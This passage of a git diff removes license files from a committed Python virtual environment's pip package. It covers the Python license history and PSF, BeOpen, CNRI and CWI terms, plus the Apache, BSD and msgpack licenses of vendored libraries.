-Intellectual Property.  Zope Corporation is a sponsoring member of
-the PSF.
-
-All Python releases are Open Source (see http://www.opensource.org for
-the Open Source Definition).  Historically, most, but not all, Python
-releases have also been GPL-compatible; the table below summarizes
-the various releases.
-
-    Release         Derived     Year        Owner       GPL-
-                    from                                compatible? (1)
-
-    0.9.0 thru 1.2              1991-1995   CWI         yes
-    1.3 thru 1.5.2  1.2         1995-1999   CNRI        yes
-    1.6             1.5.2       2000        CNRI        no
-    2.0             1.6         2000        BeOpen.com  no
-    1.6.1           1.6         2001        CNRI        yes (2)
-    2.1             2.0+1.6.1   2001        PSF         no
-    2.0.1           2.0+1.6.1   2001        PSF         yes
-    2.1.1           2.1+2.0.1   2001        PSF         yes
-    2.2             2.1.1       2001        PSF         yes
-    2.1.2           2.1.1       2002        PSF         yes
-    2.1.3           2.1.2       2002        PSF         yes
-    2.2.1           2.2         2002        PSF         yes
-    2.2.2           2.2.1       2002        PSF         yes
-    2.2.3           2.2.2       2003        PSF         yes
-    2.3             2.2.2       2002-2003   PSF         yes
-    2.3.1           2.3         2002-2003   PSF         yes
-    2.3.2           2.3.1       2002-2003   PSF         yes
-    2.3.3           2.3.2       2002-2003   PSF         yes
-    2.3.4           2.3.3       2004        PSF         yes
-    2.3.5           2.3.4       2005        PSF         yes
-    2.4             2.3         2004        PSF         yes
-    2.4.1           2.4         2005        PSF         yes
-    2.4.2           2.4.1       2005        PSF         yes
-    2.4.3           2.4.2       2006        PSF         yes
-    2.4.4           2.4.3       2006        PSF         yes
-    2.5             2.4         2006        PSF         yes
-    2.5.1           2.5         2007        PSF         yes
-    2.5.2           2.5.1       2008        PSF         yes
-    2.5.3           2.5.2       2008        PSF         yes
-    2.6             2.5         2008        PSF         yes
-    2.6.1           2.6         2008        PSF         yes
-    2.6.2           2.6.1       2009        PSF         yes
-    2.6.3           2.6.2       2009        PSF         yes
-    2.6.4           2.6.3       2009        PSF         yes
-    2.6.5           2.6.4       2010        PSF         yes
-    3.0             2.6         2008        PSF         yes
-    3.0.1           3.0         2009        PSF         yes
-    3.1             3.0.1       2009        PSF         yes
-    3.1.1           3.1         2009        PSF         yes
-    3.1.2           3.1         2010        PSF         yes
-    3.2             3.1         2010        PSF         yes
-
-Footnotes:
-
-(1) GPL-compatible doesn't mean that we're distributing Python under
-    the GPL.  All Python licenses, unlike the GPL, let you distribute
-    a modified version without making your changes open source.  The
-    GPL-compatible licenses make it possible to combine Python with
-    other software that is released under the GPL; the others don't.
-
-(2) According to Richard Stallman, 1.6.1 is not GPL-compatible,
-    because its license has a choice of law clause.  According to
-    CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1
-    is "not incompatible" with the GPL.
-
-Thanks to the many outside volunteers who have worked under Guido's
-direction to make these releases possible.
-
-
-B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON
-===============================================================
-
-PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
---------------------------------------------
-
-1. This LICENSE AGREEMENT is between the Python Software Foundation
-("PSF"), and the Individual or Organization ("Licensee") accessing and
-otherwise using this software ("Python") in source or binary form and
-its associated documentation.
-
-2. Subject to the terms and conditions of this License Agreement, PSF hereby
-grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
-analyze, test, perform and/or display publicly, prepare derivative works,
-distribute, and otherwise use Python alone or in any derivative version,
-provided, however, that PSF's License Agreement and PSF's notice of copyright,
-i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010
-Python Software Foundation; All Rights Reserved" are retained in Python alone or
-in any derivative version prepared by Licensee.
-
-3. In the event Licensee prepares a derivative work that is based on
-or incorporates Python or any part thereof, and wants to make
-the derivative work available to others as provided herein, then
-Licensee hereby agrees to include in any such work a brief summary of
-the changes made to Python.
-
-4. PSF is making Python available to Licensee on an "AS IS"
-basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
-IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
-DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
-FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
-INFRINGE ANY THIRD PARTY RIGHTS.
-
-5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
-FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
-A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
-OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
-
-6. This License Agreement will automatically terminate upon a material
-breach of its terms and conditions.
-
-7. Nothing in this License Agreement shall be deemed to create any
-relationship of agency, partnership, or joint venture between PSF and
-Licensee.  This License Agreement does not grant permission to use PSF
-trademarks or trade name in a trademark sense to endorse or promote
-products or services of Licensee, or any third party.
-
-8. By copying, installing or otherwise using Python, Licensee
-agrees to be bound by the terms and conditions of this License
-Agreement.
-
-
-BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0
--------------------------------------------
-
-BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1
-
-1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an
-office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the
-Individual or Organization ("Licensee") accessing and otherwise using
-this software in source or binary form and its associated
-documentation ("the Software").
-
-2. Subject to the terms and conditions of this BeOpen Python License
-Agreement, BeOpen hereby grants Licensee a non-exclusive,
-royalty-free, world-wide license to reproduce, analyze, test, perform
-and/or display publicly, prepare derivative works, distribute, and
-otherwise use the Software alone or in any derivative version,
-provided, however, that the BeOpen Python License is retained in the
-Software, alone or in any derivative version prepared by Licensee.
-
-3. BeOpen is making the Software available to Licensee on an "AS IS"
-basis.  BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
-IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND
-DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
-FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT
-INFRINGE ANY THIRD PARTY RIGHTS.
-
-4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE
-SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS
-AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY
-DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
-
-5. This License Agreement will automatically terminate upon a material
-breach of its terms and conditions.
-
-6. This License Agreement shall be governed by and interpreted in all
-respects by the law of the State of California, excluding conflict of
-law provisions.  Nothing in this License Agreement shall be deemed to
-create any relationship of agency, partnership, or joint venture
-between BeOpen and Licensee.  This License Agreement does not grant
-permission to use BeOpen trademarks or trade names in a trademark
-sense to endorse or promote products or services of Licensee, or any
-third party.  As an exception, the "BeOpen Python" logos available at
-http://www.pythonlabs.com/logos.html may be used according to the
-permissions granted on that web page.
-
-7. By copying, installing or otherwise using the software, Licensee
-agrees to be bound by the terms and conditions of this License
-Agreement.
-
-
-CNRI LICENSE AGREEMENT FOR PYTHON 1.6.1
----------------------------------------
-
-1. This LICENSE AGREEMENT is between the Corporation for National
-Research Initiatives, having an office at 1895 Preston White Drive,
-Reston, VA 20191 ("CNRI"), and the Individual or Organization
-("Licensee") accessing and otherwise using Python 1.6.1 software in
-source or binary form and its associated documentation.
-
-2. Subject to the terms and conditions of this License Agreement, CNRI
-hereby grants Licensee a nonexclusive, royalty-free, world-wide
-license to reproduce, analyze, test, perform and/or display publicly,
-prepare derivative works, distribute, and otherwise use Python 1.6.1
-alone or in any derivative version, provided, however, that CNRI's
-License Agreement and CNRI's notice of copyright, i.e., "Copyright (c)
-1995-2001 Corporation for National Research Initiatives; All Rights
-Reserved" are retained in Python 1.6.1 alone or in any derivative
-version prepared by Licensee.  Alternately, in lieu of CNRI's License
-Agreement, Licensee may substitute the following text (omitting the
-quotes): "Python 1.6.1 is made available subject to the terms and
-conditions in CNRI's License Agreement.  This Agreement together with
-Python 1.6.1 may be located on the Internet using the following
-unique, persistent identifier (known as a handle): 1895.22/1013.  This
-Agreement may also be obtained from a proxy server on the Internet
-using the following URL: http://hdl.handle.net/1895.22/1013".
-
-3. In the event Licensee prepares a derivative work that is based on
-or incorporates Python 1.6.1 or any part thereof, and wants to make
-the derivative work available to others as provided herein, then
-Licensee hereby agrees to include in any such work a brief summary of
-the changes made to Python 1.6.1.
-
-4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS"
-basis.  CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
-IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND
-DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
-FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT
-INFRINGE ANY THIRD PARTY RIGHTS.
-
-5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
-1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
-A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1,
-OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
-
-6. This License Agreement will automatically terminate upon a material
-breach of its terms and conditions.
-
-7. This License Agreement shall be governed by the federal
-intellectual property law of the United States, including without
-limitation the federal copyright law, and, to the extent such
-U.S. federal law does not apply, by the law of the Commonwealth of
-Virginia, excluding Virginia's conflict of law provisions.
-Notwithstanding the foregoing, with regard to derivative works based
-on Python 1.6.1 that incorporate non-separable material that was
-previously distributed under the GNU General Public License (GPL), the
-law of the Commonwealth of Virginia shall govern this License
-Agreement only as to issues arising under or with respect to
-Paragraphs 4, 5, and 7 of this License Agreement.  Nothing in this
-License Agreement shall be deemed to create any relationship of
-agency, partnership, or joint venture between CNRI and Licensee.  This
-License Agreement does not grant permission to use CNRI trademarks or
-trade name in a trademark sense to endorse or promote products or
-services of Licensee, or any third party.
-
-8. By clicking on the "ACCEPT" button where indicated, or by copying,
-installing or otherwise using Python 1.6.1, Licensee agrees to be
-bound by the terms and conditions of this License Agreement.
-
-        ACCEPT
-
-
-CWI LICENSE AGREEMENT FOR PYTHON 0.9.0 THROUGH 1.2
---------------------------------------------------
-
-Copyright (c) 1991 - 1995, Stichting Mathematisch Centrum Amsterdam,
-The Netherlands.  All rights reserved.
-
-Permission to use, copy, modify, and distribute this software and its
-documentation for any purpose and without fee is hereby granted,
-provided that the above copyright notice appear in all copies and that
-both that copyright notice and this permission notice appear in
-supporting documentation, and that the name of Stichting Mathematisch
-Centrum or CWI not be used in advertising or publicity pertaining to
-distribution of the software without specific, written prior
-permission.
-
-STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO
-THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE
-FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
-OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/distro/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/distro/LICENSE
deleted file mode 100644
index e06d2081865a766a8668acc12878f98b27fc9ea0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/distro/LICENSE
+++ /dev/null
@@ -1,202 +0,0 @@
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/idna/LICENSE.md b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/idna/LICENSE.md
deleted file mode 100644
index f706835ab3a5dd709a6e1f57aee0a94ae1415df6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/idna/LICENSE.md
+++ /dev/null
@@ -1,31 +0,0 @@
-BSD 3-Clause License
-
-Copyright (c) 2013-2026, Kim Davies and contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-1. Redistributions of source code must retain the above copyright
-   notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright
-   notice, this list of conditions and the following disclaimer in the
-   documentation and/or other materials provided with the distribution.
-
-3. Neither the name of the copyright holder nor the names of its
-   contributors may be used to endorse or promote products derived from
-   this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
-TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
-PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/msgpack/COPYING b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/msgpack/COPYING
deleted file mode 100644
index f067af3aae15a5b494f0eeb15a7064c176e30fd5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/msgpack/COPYING
+++ /dev/null
@@ -1,14 +0,0 @@
-Copyright (C) 2008-2011 INADA Naoki 
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE
deleted file mode 100644
index 6f62d44e4ef733c0e713afcd2371fed7f2b3de67..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE
+++ /dev/null
@@ -1,3 +0,0 @@
-This software is made available under the terms of *either* of the licenses
-found in LICENSE.APACHE or LICENSE.BSD. Contributions to this software is made
-under the terms of *both* these licenses.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.APACHE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.APACHE
deleted file mode 100644
index f433b1a53f5b830a205fd2df78e2b34974656c7b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.APACHE
+++ /dev/null
@@ -1,177 +0,0 @@
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
